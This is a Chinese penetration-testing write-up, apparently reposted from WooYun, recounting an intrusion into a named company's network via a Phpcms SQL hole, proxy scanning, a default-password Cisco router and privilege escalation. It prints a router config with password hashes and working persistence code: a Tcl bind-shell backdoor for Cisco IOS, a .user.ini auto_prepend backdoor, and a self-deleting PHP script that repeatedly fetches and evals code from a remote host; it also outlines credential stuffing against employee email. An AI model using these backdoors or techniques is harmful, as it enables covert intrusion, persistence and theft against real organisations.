wooyun內網滲透教學分享之內網信息探測和后滲透准備


常規的,從web業務撕開口子

url
bit.tcl.com

getshell
很簡單,phpcms的,一個Phpcms V9 uc api SQL的老洞直接getshell,拿到shell,權限很高,system



看看網卡信息





只有一塊網卡,處於10.4.22的私網地址

在這里,如果我們想要通過這台機器對內網進行滲透,首要工作就是進行內網探測,介紹幾個方法

0x00
如果你只是需要對內網的業務主機進行滲透,那么可以優先查看一下hosts,針對hosts中的主機針對性滲透

0x01
如果想要對整個C段主機進行滲透,比較完整方便的方法還是掃描,這里就需要我們進行內網代理,然后掃描

正向代理or反向代理,因為此處主機無法通外網,所以我們選擇正向代理

一個我常用的代理reGeorg

https://github.com/sensepost/reGeorg

上傳代理腳本,然后用regerog盡心代理鏈接(regeorg需要urllib3,所以各位需要用到時,先安裝這個模塊)



nmap等進行代理掃描,很簡單可以使用proxychains或者win 下使用proxycap

因為我們這里指定的端口時2333,所以修改一下proxychainsconf





以此來盡心內網C段的信息探測

0x02
當然,僅僅通過掃描,並不能獲取到最全面的信息,最全面的信息,要么就是我們拿到了內網拓撲,或者,我直接日下了路由器



路由器,走你~

通過之前的nmap掃描,我們大概知道了開放web服務的主機



訪問111213三台主機后,發現時cisco的路由器,且是開放web管理的cisco路由器,默認密碼cisco成功進入





開放web管理的思科路由是可以在web端執行命令的,但是我們的路由權限只是1cisco的權限分級大概是這樣:

管理員是7 ,但是有15個權限分級,15的權限基本屬於為所欲為權限

在這里,因為看到當前路由ios版本號是



低版本的iOS可以利用我之前的一個老洞進行cisco路由提權

因為在web端,可以用privilege15進行命令操作



這樣我們就擁有了一個privilege15的用戶,趕緊telnet進路由看看配置,一定會有驚喜



看到我們確實拿到了privilege15的用戶

那么,來瞅瞅路由配置吧

code 區域

DZSW-3560-A#en

en

DZSW-3560-A#show running-config

show running-config

Building configuration...

 

Current configuration : 3678 bytes

!

version 12.2

no service pad

service timestamps debug uptime

service timestamps log uptime

service password-encryption

!

hostname DZSW-3560-A

!

enable password 7 121A0C041104

!

username admin privilege 15 password 7 1543595F507F7D

no aaa new-model

system mtu routing 1500

vtp mode transparent

ip subnet-zero

ip routing

!

!

!

!

--More--

!

!

no file verify auto

spanning-tree mode pvst

spanning-tree extend system-id

!

vlan internal allocation policy ascending

!

vlan 218

name Call_Center

!

vlan 220

!

vlan 222

name WEB

!

vlan 223

name DB

!

!

interface Port-channel1

switchport trunk encapsulation dot1q

switchport mode trunk

!

interface Port-channel2

description Connect_To_YDBFZX-C3750_Po1

no switchport

ip address 10.68.3.2 255.255.255.252

!

interface GigabitEthernet0/1

switchport access vlan 218

switchport mode access

!

interface GigabitEthernet0/2

switchport access vlan 222

switchport mode access

!

interface GigabitEthernet0/3

switchport access vlan 222

switchport mode access

!

interface GigabitEthernet0/4

switchport access vlan 222

switchport mode access

!

interface GigabitEthernet0/5

switchport access vlan 222

switchport mode access

!

interface GigabitEthernet0/6

switchport access vlan 222

switchport mode access

!

interface GigabitEthernet0/7

switchport access vlan 222

switchport mode access

!

interface GigabitEthernet0/8

switchport access vlan 222

switchport mode access

!

interface GigabitEthernet0/9

switchport access vlan 222

switchport mode access

!

interface GigabitEthernet0/10

switchport access vlan 222

switchport mode access

!



幾個業務,DB,辦公的vlan躍然於眼前,當前我們實在web vlan

其他兩台路由也一樣到玩法

===================
分割線==================

那么有的同學就問了,如果我不滿足於在web vlan鬧騰,如果我作為一個黑闊,我要去辦公vlan去耍怎么辦,喲西~既然我們都已經控制了路由啦,當然可以去鬧!

因為我不是運維狗,所以咨詢了z8大屌,他告訴我,少年,你聽過GRE隧道么,誒嘿~

code 區域

GRE 是一種最傳統的隧道協議,其根本功能就是要實現隧道功能,通過隧道連接的兩個遠程網絡就如同直連,GRE在兩個遠程網絡之間模擬出直連鏈路,從而使網絡間 達到直連的效果



http://itchenyi.blog.51cto.com/4745638/1137143

http://www.codesky.net/article/201207/171461.html

大家可以參考這兩個地方

通過GRE隧道配置,我們就可以跑到另外一個vlan去鬧了~

(做人留一線,日后好相見,就不截圖call_centervlan了,滲透其網段的思路也和之前介紹的一樣)



=========分割線==============

那么又有同學舉手了,如果我滲透的目標無法短時間內就完成,需要進行后滲透,我怎么樣才能讓我之后的滲透也方便呢?

好的,同學你很猥瑣,這里介紹幾個平時我們工作中常用的留后門多法子

首先,這個cisco的路由后門,我們肯定要優先留一個

cisco
路由器支持TCL cisco腳本,所以我們的后門也通過這個來完成

code 區域

# TclShell.tcl v0.1 by Andy Davis, IRM 2007

 

#

 

# IRM accepts no responsibility for the misuse of this code

 

# It is provided for demonstration purposes only

 

proc callback {sock addr port} {

fconfigure $sock -translation lf -buffering line

puts $sock " "

puts $sock "---|---|---|---|---|---|---|---|---|---|---|---|-"

puts $sock "TclShell v0.1 by Andy Davis, IRM 2007"

puts $sock "---|---|---|---|---|---|---|---|---|---|---|---|-"

puts $sock " "

set response [exec "sh ver | inc IOS"]

puts $sock $response

set response [exec "sh priv"]

puts $sock $response

puts $sock " "

puts $sock "Enter IOS command:"

fileevent $sock readable [list echo $sock]

}

proc echo {sock} {

global var

if {[eof $sock] || [catch {gets $sock line}]} {

} else {

set response [exec "$line"]

puts $sock $response

}

}

set port 1234

set sh [socket -server callback $port]

vwait var

close $sh



這是老外寫的一個后門,先在路由中開啟tclsh模式,然后引入后門腳本



Router#tclsh



Router(tcl)#source tftp://x.x.x.x/backdoor.tcl



這樣我們就留下來后門,下次鏈接可以直接在網段內的機器直接

nc
路由ip 1234(端口在后門腳本中修改)

ok
,如果web的入口斷了,這一切都白搭,所以我們還應該對web的機器留下比較隱藏的后門

說兩個,一個是文件形的后門

這個辦法之前phinthon老師已經說過了,就是通過php.ini或者user.ini留后門

在一個有正常php文件的目錄下新建一個.user.ini

內容為

auto_prepend_file=xxx.gif(png/jpg)
之類

而你的xxx.gif之類就是你的后門

具體可以參考http://drops.wooyun.org/tips/3424



第二個辦法,非文件形的后門,這樣的后門優勢在於非常隱蔽,一般的網管都發現不了,但是有一個非常大的缺點,重啟,或者進程中斷后門就消失了

原理大概是:后門的代碼第一行刪除自身,然后駐留在后台內存里,等待外部鏈接

code 區域

<?php

unlink($_SERVER['SCRIPT_FILENAME']);

ignore_user_abort(true);

set_time_limit(0);

 

$remote_file = 'http://xxx/xxx.txt';

while($code = file_get_contents($remote_file)){

@eval($code);

sleep(5);

};

?>



xxx.txt中寫入你的后門代碼,訪問后就會刪除自己並循環執行txt的代碼,這是之前某人寫過的了

ztz
最近有寫了一個更贊的無文件后門,你們快去找他要

除了這樣的,如果主機是linux,也可以用前段時間豬豬俠說的crontab做后門

漏洞證明:

我們來大概總結一下這次滲透,首先通過外部業務撕開入口,通過代理的方式對內網進行探測,發現了cisco路由,於是利用之前的漏洞進行提權,搞定了路由器,整個vlan划分展露無遺,開啟god mode



因為我們這里是概念性的測試,所以尺度不能太大,但是,如果我是一個黑客,我接下來會做的事兒:

利用tunna轉發3389出外網鏈接(但是在這個場景中,出外網限制了部分端口,但是可以查詢dns,我們應該利用端口復用的方式),遠程桌面后擴大戰果(嗅探其他機器)

讀數據庫我們看到了很多tcl的員工用戶數據,可以直接對tcl的企業郵箱直接撞褲攻擊



因為路由器搞定了,跨vlan到另外的段,繼續進行滲透



概念性證明圖:

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM